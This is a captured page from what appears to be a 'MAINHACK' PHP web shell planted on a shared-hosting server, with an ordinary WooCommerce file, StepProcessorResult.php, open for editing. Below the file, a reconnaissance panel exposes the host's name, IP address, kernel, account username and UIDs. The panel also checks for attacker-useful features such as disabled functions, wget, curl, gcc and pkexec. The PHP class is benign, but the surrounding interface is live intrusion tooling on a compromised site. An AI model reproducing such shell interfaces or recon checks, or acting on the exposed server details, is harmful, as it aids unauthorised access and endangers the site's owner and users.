[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: StepProcessorResult.php
<?php namespace Automattic\WooCommerce\Blueprint; use InvalidArgumentException; /** * A class returned by StepProcessor classes containing result of the process and messages. */ class StepProcessorResult { const MESSAGE_TYPES = array( 'error', 'info', 'debug', 'warn' ); /** * Messages * * @var array $messages */ private array $messages = array(); /** * Indicate whether the process was success or not * * @var bool $success */ private bool $success; /** * Step name * * @var string $step_name */ private string $step_name; /** * Construct. * * @param bool $success Indicate whether the process was success or not. * @param string $step_name The name of the step. */ public function __construct( bool $success, string $step_name ) { $this->success = $success; $this->step_name = $step_name; } /** * Get messages. * * @param string $step_name The name of the step. * * @return void */ public function set_step_name( $step_name ) { $this->step_name = $step_name; } /** * Create a new instance with $success = true. * * @param string $stp_name The name of the step. * * @return StepProcessorResult */ public static function success( string $stp_name ): self { return ( new self( true, $stp_name ) ); } /** * Add a new message. * * @param string $message message. * @param string $type one of error, info. * * @throws InvalidArgumentException When incorrect type is given. * @return void */ public function add_message( string $message, string $type = 'error' ) { if ( ! in_array( $type, self::MESSAGE_TYPES, true ) ) { // phpcs:ignore throw new InvalidArgumentException( "{$type} is not allowed. Type must be one of " . implode( ',', self::MESSAGE_TYPES ) ); } $this->messages[] = compact( 'message', 'type' ); } /** * Merge messages from another StepProcessorResult instance. * * @param StepProcessorResult $other The other StepProcessorResult instance. * * @return void */ public function merge_messages( StepProcessorResult $other ) { $this->messages = array_merge( $this->messages, $other->get_messages() ); } /** * Add a new error message. * * @param string $message message. * * @return void */ public function add_error( string $message ) { $this->add_message( $message ); } /** * Add a new debug message. * * @param string $message message. * * @return void */ public function add_debug( string $message ) { $this->add_message( $message, 'debug' ); } /** * Add a new info message. * * @param string $message message. * * @return void */ public function add_info( string $message ) { $this->add_message( $message, 'info' ); } /** * Add a new warn message. * * @param string $message message. * * @return void */ public function add_warn( string $message ) { $this->add_message( $message, 'warn' ); } /** * Filter messages. * * @param string $type one of all, error, and info. * * @return array */ public function get_messages( string $type = 'all' ): array { if ( 'all' === $type ) { return $this->messages; } return array_filter( $this->messages, function ( $message ) use ( $type ) { return $type === $message['type']; } ); } /** * Check to see if the result was success. * * @return bool */ public function is_success(): bool { return true === $this->success && 0 === count( $this->get_messages( 'error' ) ); } /** * Get the name of the step. * * @return string The name of the step. */ public function get_step_name() { return $this->step_name; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.19 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252